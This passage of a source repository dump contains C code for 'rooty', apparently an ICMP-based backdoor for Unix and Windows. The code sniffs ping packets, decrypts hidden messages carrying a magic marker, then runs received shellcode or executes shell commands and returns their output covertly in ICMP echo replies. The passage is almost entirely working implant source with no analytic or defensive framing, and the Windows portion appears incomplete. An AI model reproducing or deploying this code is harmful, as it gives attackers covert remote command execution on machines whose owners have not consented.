DEBUG_WRAP(fprintf(stderr, "Failed to mmap new stack area\n")); 157 | return; 158 | } 159 | DEBUG_WRAP(fprintf(stderr, "Created new stack section at 0x%p\n", new_stack)); 160 | 161 | execute_shellcode(executable, new_stack + (STACK_SIZE / 2)); 162 | } 163 | 164 | void run_command(ROOTY_MESSAGE *msg, const struct ip_hdr *ip, const struct icmp_hdr *icmp) { 165 | ROOTY_MESSAGE *res = NULL; 166 | FILE *fd = NULL; 167 | 168 | // Create a new response message to send back for each part of the output 169 | if((res = malloc(sizeof(ROOTY_MESSAGE) + MAX_PACKET_SIZE)) == NULL) { 170 | DEBUG_WRAP(fprintf(stderr, "Failed to allocate response message\n")); 171 | return; 172 | } 173 | memset(res, 0, sizeof(ROOTY_MESSAGE) + MAX_PACKET_SIZE); 174 | 175 | // Copy the original message key for the response 176 | memcpy(res->key, msg->key, BLOCK_SIZE); 177 | 178 | // Add stderr redirection 179 | strcat((char *)msg->data, REDIRECT); 180 | 181 | // Execute the command 182 | DEBUG_WRAP(fprintf(stderr, "Executing command: %s\n", msg->data)); 183 | 184 | if((fd = popen((char *)msg->data, "r")) != NULL) { 185 | 186 | while(fgets((char *)res->data, MAX_PACKET_SIZE, fd)) { 187 | res->type = MESSAGE_OS | MESSAGE_ARCH; 188 | res->len = strlen((char *)res->data); 189 | memcpy(res->magic, MAGIC, strlen(MAGIC)); 190 | send_packet(res, ip, icmp); 191 | memset(res->magic, 0, MAX_PACKET_SIZE + sizeof(ROOTY_MESSAGE) - BLOCK_SIZE); 192 | } 193 | 194 | pclose(fd); 195 | } 196 | } 197 | 198 | void process_message(unsigned char *data, uint32_t size, const struct ip_hdr *ip, const struct icmp_hdr *icmp) { 199 | ROOTY_MESSAGE *msg = (ROOTY_MESSAGE *)data; 200 | pid_t pid; 201 | int status =0; 202 | 203 | // Make sure we have data 204 | if((size >= (BLOCK_SIZE * 2)) && (size % BLOCK_SIZE == 0)) { 205 | 206 | // The first block is the key that is BLOCK_SIZE in length 207 | if(decrypt_message(msg, size) > 0) { 208 | 209 | // Make sure the magic is there 210 | if(!strncmp((char *)msg->magic, MAGIC, strlen(MAGIC))) { 211 | if((pid = fork()) >= 0) { 212 | if(pid == 0) { 213 | switch(msg->type) { 214 | 215 | case MESSAGE_SHELLCODE: 216 | DEBUG_WRAP(fprintf(stderr, "Received shellcode packet\n")); 217 | #ifdef FreeBSD 218 | DEBUG_WRAP(fprintf(stderr, "Shellcode not currently supported on FreeBSD")); 219 | #else 220 | run_shellcode(msg->data, msg->len); 221 | #endif 222 | break; 223 | 224 | case MESSAGE_COMMAND: 225 | DEBUG_WRAP(fprintf(stderr, "Received command packet\n")); 226 | #ifdef Windows 227 | DEBUG_WRAP(fprintf(stderr, "Shell commands not currently supported for Windows")); 228 | #else 229 | run_command(msg, ip, icmp); 230 | #endif 231 | break; 232 | } 233 | 234 | exit(0); 235 | } 236 | else { 237 | waitpid(-1, &status, WNOHANG | WUNTRACED | WCONTINUED); 238 | } 239 | } 240 | } 241 | } 242 | } 243 | } 244 | 245 | void process_packet(u_char *user_data, const struct pcap_pkthdr *hdr, const u_char *pkt) { 246 | const struct ip_hdr *ip = NULL; 247 | const struct icmp_hdr *icmp = NULL; 248 | uint32_t size_ip, size_icmp;//, size_data; 249 | unsigned char *data = NULL; 250 | uint32_t encap_size = SIZE_ETHERNET; 251 | 252 | // For cooked sockets this size will be different 253 | if(data_type == 113) { 254 | encap_size = 16; 255 | } 256 | 257 | // IP 258 | ip = (struct ip_hdr *)(pkt + encap_size); 259 | size_ip = ((ip->ip_header_len & 0x0f) * 4); 260 | 261 | // ICMP 262 | icmp = (struct icmp_hdr *)(pkt + encap_size + size_ip); 263 | size_icmp = sizeof(struct icmp_hdr); 264 | 265 | // Data 266 | data = (unsigned char *)(pkt + encap_size + size_ip + size_icmp); 267 | 268 | // Only want to deal with icmp echo requests 269 | if((icmp->type == 8) && (icmp->code == 0)) { 270 | process_message(data, (hdr->len - (data - pkt)), ip, icmp); 271 | } 272 | } 273 | 274 | int main(int argc, char **argv) { 275 | pcap_t *handle = NULL; 276 | char errbuf[PCAP_ERRBUF_SIZE]; 277 | struct bpf_program fp; 278 | char bpf_filter[] = "icmp and icmp[icmptype] == 8"; 279 | char *interface = (char *)INTERFACE; 280 | 281 | // Seed random for later 282 | srand(time(NULL)); 283 | 284 | // Use a different interface if it's specified 285 | if(argc == 2) { 286 | interface = argv[1]; 287 | } 288 | 289 | // Opening the pcap device - Keep trying if the interface isn't up 290 | while((handle = pcap_open_live(interface, BUFSIZ, 0, 1000, errbuf)) == NULL) { 291 | DEBUG_WRAP(fprintf(stderr, "Error opening device %s: %s\n", interface, errbuf)); 292 | sleep(1); 293 | } 294 | 295 | data_type = pcap_datalink(handle); 296 | DEBUG_WRAP(fprintf(stderr, "Datalink Type: %d\n", data_type)); 297 | 298 | // We only want to see ICMP traffic 299 | if(pcap_compile(handle, &fp, bpf_filter, 0, 0xffffffff)) { 300 | DEBUG_WRAP(fprintf(stderr, "Error compiling bpf filter '%s': %s\n", bpf_filter, pcap_geterr(handle))); 301 | return -1; 302 | } 303 | 304 | // Finally set up our filter 305 | if(pcap_setfilter(handle, &fp)) { 306 | DEBUG_WRAP(fprintf(stderr, "Error applying bpf filter '%s': %s\n", bpf_filter, pcap_geterr(handle))); 307 | return -1; 308 | } 309 | 310 | // We don't care about children 311 | signal(SIGCHLD, SIG_IGN); 312 | 313 | // Now we can finally sniff 314 | pcap_loop(handle, -1, process_packet, NULL); 315 | 316 | return 0; 317 | } 318 | -------------------------------------------------------------------------------- /src/rooty_unix.h: -------------------------------------------------------------------------------- 1 | #include "rooty.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define INTERFACE "any" 14 | 15 | // We need to keep track of the packet header type 16 | int data_type = 0; 17 | 18 | // Build response packets for sending 19 | int build_packet(unsigned char *pkt, const struct icmp_hdr *icmp_input, ROOTY_MESSAGE *msg); 20 | 21 | // Send response packet 22 | void send_packet(ROOTY_MESSAGE *msg, const struct ip_hdr *ip, const struct icmp_hdr *icmp); 23 | 24 | // Execute shellcode received from shellcode message 25 | void run_shellcode(const unsigned char *shellcode, uint32_t size); 26 | 27 | // Actually run the shellcode 28 | void execute_shellcode(const unsigned char *shellcode, const unsigned char *stack ); 29 | 30 | // Execute system command and send back the results via ICMP echo reply 31 | void run_command(ROOTY_MESSAGE *msg, const struct ip_hdr *ip, const struct icmp_hdr *icmp); 32 | 33 | // Process the received icmp message 34 | void process_message(unsigned char *data, uint32_t size, const struct ip_hdr *ip, const struct icmp_hdr *icmp); 35 | -------------------------------------------------------------------------------- /src/rooty_win.c: -------------------------------------------------------------------------------- 1 | #include "rooty_win.h" 2 | 3 | struct sockaddr_in source,dest; 4 | 5 | int main(int argc, char *argv[]) { 6 | SOCKET s; 7 | WSADATA wsa; 8 | int in=0, rcv_all=3; 9 | 10 | struct in_addr addr; 11 | 12 | char hostname[100]; 13 | struct hostent *local; 14 | 15 | LOG_DEBUG("Initializing Winsock."); 16 | if(WSAStartup(MAKEWORD(2,2), &wsa) != 0) { 17 | LOG_ERROR("WSAStartup failed"); 18 | return 1; 19 | } 20 | 21 | LOG_DEBUG("Creating socket."); 22 | if((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) == INVALID_SOCKET) { 23 | LOG_ERROR("Failed to create raw socket"); 24 | goto CLEANUP; 25 | } 26 | 27 | LOG_DEBUG("Getting hostname."); 28 | if(gethostname(hostname, sizeof(hostname)) == SOCKET_ERROR) { 29 | LOG_ERROR("gethostname failed."); 30 | goto CLEANUP; 31 | } 32 | 33 | LOG_DEBUG("Getting interfaces."); 34 | if((local = gethostbyname(hostname)) == NULL) { 35 | LOG_ERROR("Failed to get interface list."); 36 | goto CLEANUP; 37 | } 38 | 39 | // Interface can be listed on the command line 40 | if(argc == 2) { 41 | in = atoi(argv[1]); 42 | 43 | if((in < 0) || (in > 10)) { 44 | LOG_DEBUG("Invalid interface: %d. Using default.", in); 45 | in = 0; 46 | } 47 | } 48 | 49 | for (int i = 0; local->h_addr_list[i] != 0; ++i) { 50 | memcpy(&addr, local->h_addr_list[i], sizeof(struct in_addr)); 51 | LOG_DEBUG("Interface %d: %s", i, inet_ntoa(addr)); 52 | } 53 | 54 | // Set up the arguments for the bind 55 | memset(&dest, 0, sizeof(dest)); 56 | memcpy(&dest.sin_addr.s_addr,local->h_addr_list[in],sizeof(dest.sin_addr.s_addr)); 57 | dest.sin_family = AF_INET; 58 | dest.sin_port = 0; 59 | 60 | LOG_DEBUG("Binding socket to %s.", inet_ntoa(dest.sin_addr)); 61 | if((bind(s,(struct sockaddr *)&dest,sizeof(dest))) == SOCKET_ERROR) { 62 | LOG_ERROR("Failed to bind to interface %d.", in); 63 | goto CLEANUP; 64 | } 65 | 66 | LOG_DEBUG("Setting socket for sniffing."); 67 | if(WSAIoctl(s, SIO_RCVALL, &rcv_all, sizeof(rcv_all), 0, NULL, (LPDWORD)&in , 0 , 0) == SOCKET_ERROR) { 68 | LOG_ERROR("WSAIoctl failed."); 69 | goto CLEANUP; 70 | } 71 | 72 | LOG_DEBUG("Starting sniffer."); 73 | sniffer_loop(&s); 74 | 75 | CLEANUP: 76 | LOG_DEBUG("Cleaning up."); 77 | 78 | int last_error = 0; 79 | if(last_error = WSAGetLastError()) { 80 | LOG_ERROR("%d", last_error); 81 | } 82 | WSACleanup(); 83 | return 0; 84 | } 85 | 86 | uint32_t sniffer_loop(SOCKET *s) { 87 | uint8_t buffer[65536]; 88 | int bytes_read = 0; 89 | 90 | LOG_DEBUG("Sniffing packets"); 91 | while((bytes_read = recvfrom(*s, (char *)buffer, sizeof(buffer), 0 , 0 , 0)) > 0) { 92 | process_packet((const uint8_t *)&buffer, bytes_read); 93 | } 94 | } 95 | 96 | /* 97 | * Most of this is from the MSDN 98 | * https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx 99 | */ 100 | uint32_t run_command(const uint8_t *cmd, uint8_t *buffer, uint32_t buffer_size) { 101 | HANDLE hChildStd_OUT_Rd = NULL; 102 | HANDLE hChildStd_OUT_Wr = NULL; 103 | SECURITY_ATTRIBUTES saAttr; 104 | PROCESS_INFORMATION procInf; 105 | STARTUPINFOA startInf; 106 | DWORD dwErr = 0, dwRead = 0, dwWritten = 0; 107 | 108 | ZeroMemory(&startInf, sizeof(STARTUPINFO)); 109 | ZeroMemory(&saAttr, sizeof(SECURITY_ATTRIBUTES)); 110 | ZeroMemory(&procInf, sizeof(PROCESS_INFORMATION)); 111 | 112 | saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 113 | saAttr.bInheritHandle = TRUE; 114 | saAttr.lpSecurityDescriptor = NULL; 115 | 116 | if (!CreatePipe(&hChildStd_OUT_Rd, &hChildStd_OUT_Wr, &saAttr, 0)) { 117 | LOG_ERROR("Failed to create stdout pipe"); 118 | return 0; 119 | } 120 | if (!SetHandleInformation(hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) { 121 | LOG_ERROR("Failed to set stdout pipe"); 122 | return 0; 123 | } 124 | 125 | startInf.cb = sizeof(STARTUPINFO); 126 | startInf.hStdError = hChildStd_OUT_Wr; 127 | startInf.hStdOutput = hChildStd_OUT_Wr; 128 | startInf.dwFlags |= STARTF_USESTDHANDLES; 129 | 130 | if(CreateProcessA(NULL, (char *)cmd, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW, NULL, NULL, &startInf, &procInf)) { 131 | WaitForSingleObject( procInf.hProcess, INFINITE ); 132 | GetExitCodeProcess(procInf.hProcess, &dwErr ); 133 | CloseHandle(procInf.hProcess); 134 | CloseHandle(procInf.hThread); 135 | 136 | if(!ReadFile(hChildStd_OUT_Rd, buffer, buffer_size, &dwRead, NULL)) { 137 | LOG_ERROR("Failed to read output from command: %s", cmd); 138 | } 139 | } else { 140 | LOG_ERROR("Failed to execute command %s with error code 0x%08x", cmd, GetLastError()); 141 | } 142 | 143 | CloseHandle(hChildStd_OUT_Wr); 144 | CloseHandle(hChildStd_OUT_Rd); 145 | } 146 | 147 | uint32_t process_packet(const uint8_t *buffer, uint32_t len) { 148 | uint8_t *decrypted_data; 149 | struct in_addr source_address; 150 | 151 | IPV4_HDR *ip = (IPV4_HDR *)buffer; 152 | uint32_t ip_len = ((ip->ip_header_len & 0x0f) * 4); 153 | 154 | ICMP_HDR *icmp = (ICMP_HDR *)(buffer + sizeof(IPV4_HDR)); 155 | uint32_t icmp_len = sizeof(ICMP_HDR); 156 | 157 | const uint8_t *data= buffer + ip_len + icmp_len; 158 | uint32_t data_len = len - ip_len - icmp_len; 159 | 160 | if((ip_len < len) && (ip->ip_protocol == IPPROTO_ICMP)) { 161 | source_address.s_addr = ip->ip_srcaddr; 162 | 163 | if(((ip_len + icmp_len < len)) && ((icmp->type == 8) && (icmp->code == 0))) { 164 | if(((ip_len + icmp_len + data_len) <= len) && ((data_len > 0) && (data_len < 5000))) { 165 | if((decrypted_data = (uint8_t *)malloc(data_len)) == NULL) { 166 | LOG_ERROR("Failed to malloc %d bytes for decrypted data.", data_len); 167 | return 1; 168 | } 169 | memset(decrypted_data, 0, data_len); 170 | 171 | if(decrypt_message(data, decrypted_data, data_len, (uint8_t *)&icmp->checksum) != data_len) { 172 | LOG_ERROR("Failed to decrypt received packet."); 173 | free(decrypted_data); 174 | return 1; 175 | } 176 | 177 | if(strncmp((const char *)decrypted_data, MAGIC, strlen(MAGIC)) != 0) { 178 | LOG_DEBUG("Received unknown packet."); 179 | return 1; 180 | } 181 | 182 | if(decrypted_data[6] & MESSAGE_WINDOWS_32) { 183 | if(decrypted_data[6] & MESSAGE_SHELLCODE) { 184 | LOG_DEBUG("Received Windows shellcode message from %s", inet_ntoa(source_address)); 185 | } else if(decrypted_data[6] & MESSAGE_REMOTE_SHELLCODE) { 186 | LOG_DEBUG("Received Windows remote shellcode message from %s", inet_ntoa(source_address)); 187 | } else if(decrypted_data[6] & MESSAGE_COMMAND) { 188 | LOG_DEBUG("Recevied Windows remote shell command from %s", inet_ntoa(source_address)); 189 | } else { 190 | LOG_DEBUG("Received an unknown Windows message from %s", inet_ntoa(source_address)); 191 | } 192 | } else { 193 | LOG_DEBUG("Received an unknown message 0x%02x from %s", decrypted_data[6], inet_ntoa(source_address)); 194 | } 195 | } 196 | } 197 | } 198 | } 199 | 200 | void hexdump(const char *buffer, uint32_t len) { 201 | char ascii[17]; 202 | size_t i, j; 203 | ascii[16] = '\0'; 204 | for (i = 0; i < len; ++i) { 205 | printf("%02X ", ((unsigned char*)buffer)[i]); 206 | if (((unsigned char*)buffer)[i] >= ' ' && ((unsigned char*)buffer)[i] <= '~') { 207 | ascii[i % 16] = ((unsigned char*)buffer)[i]; 208 | } else { 209 | ascii[i % 16] = '.'; 210 | } 211 | if ((i+1) % 8 == 0 || i+1 == len) { 212 | printf(" "); 213 | if ((i+1) % 16 == 0) { 214 | printf("| %s \n", ascii); 215 | } else if (i+1 == len) { 216 | ascii[(i+1) % 16] = '\0'; 217 | if ((i+1) % 16 <= 8) { 218 | printf(" "); 219 | } 220 | for (j = (i+1) % 16; j < 16; ++j) { 221 | printf(" "); 222 | } 223 | printf("| %s \n", ascii); 224 | } 225 | } 226 | } 227 | } 228 | -------------------------------------------------------------------------------- /src/rooty_win.h: -------------------------------------------------------------------------------- 1 | #include "rooty.h" 2 | 3 | #ifndef UNICODE 4 | #define UNICODE 5 | #endif 6 | 7 | #define WIN32_LEAN_AND_MEAN 8 | 9 | #include 10 | #include 11 | #include 12 | #pragma comment(lib,"ws2_32.lib") 13 | 14 | #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) 15 | 16 | uint32_t sniffer_loop(SOCKET *s); 17 | uint32_t process_packet(const uint8_t *buffer, uint32_t len); 18 | uint32_t run_command(const uint8_t *cmd, uint8_t *buffer, uint32_t buffer_size); 19 | void hexdump(const char *buffer, uint32_t size); 20 | --------------------------------------------------------------------------------